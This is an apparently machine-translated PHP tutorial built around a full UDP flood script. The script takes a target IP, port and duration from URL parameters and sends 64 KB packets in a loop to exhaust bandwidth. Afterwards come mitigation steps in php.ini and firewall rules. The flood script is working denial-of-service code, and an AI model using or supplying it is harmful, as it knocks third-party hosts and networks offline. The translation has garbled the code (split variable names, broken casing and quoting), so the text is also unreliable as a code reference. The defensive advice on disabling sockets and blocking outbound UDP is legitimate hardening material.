Use PHP code to call sockets, directly with the server network attack other IP, the common code is as follows:
Copy the Code code as follows:
$packets = 0;
$ip = $_get[\ ' ip\ ');
$rand = $_get[\ ' port\ ');
Set_time_limit (0);
Ignore_user_abort (FALSE);
$exec _time = $_get[\ ' time\ ');
$time = time ();
Print \ "Flooded: $ip on port $rand
\";
$max _time = $time + $exec _time;
for ($i =0; $i <65535; $i + +) {
$out. = \ "X\";
}
while (1) {
$packets + +;
if (Time () > $max _time) {
Break
}
$fp = Fsockopen (\ "udp://$ip \", $rand, $errno, $ERRSTR, 5);
if ($fp) {
Fwrite ($fp, $out);
Fclose ($FP);
}
}
echo \ "Packet". Time (\ ' h:i:s\ '). \ "with $packets (\". Round (($packets *65)/1024, 2). \ "MB) packets Averagin G \ ". Round ($packets/$exec _time, 2). \ "PACKETS/S \\n\";
?>
Performance characteristics:
When IIS is turned on, the outgoing bandwidth of the server is exhausted-----that is, the server is constantly contracting to others, which is different from DDoS attacks, which are constantly receiving a large number of packets.
Workaround:
Prohibit the above code:
Set in C:\windows\php.ini:
Disable_functions =gzinflate;
Set its value to off in the C:\windows\php.ini.
Allow_url_fopen = Off
And:
; Extension=php_sockets.dll
The number must have, meaning to limit the use of sockets.dll.
To keep the number of the front;
Then restart IIS
If the above method is still invalid, you can disable PHP extension testing in IIS, allowing extensions.
In addition, for unencrypted PHP attack code, you can also use the following methods to handle:
1. In the IP policy, or firewall, disable all UDP outgoing
2. With first-class information monitoring, in the SQL interception and URL interception, intercept port= this keyword
The above describes the PHP code to prevent users from using PHP code DOS caused by the optical network bandwidth, including the content of the PHP code, I hope the PHP tutorial interested in a friend helpful.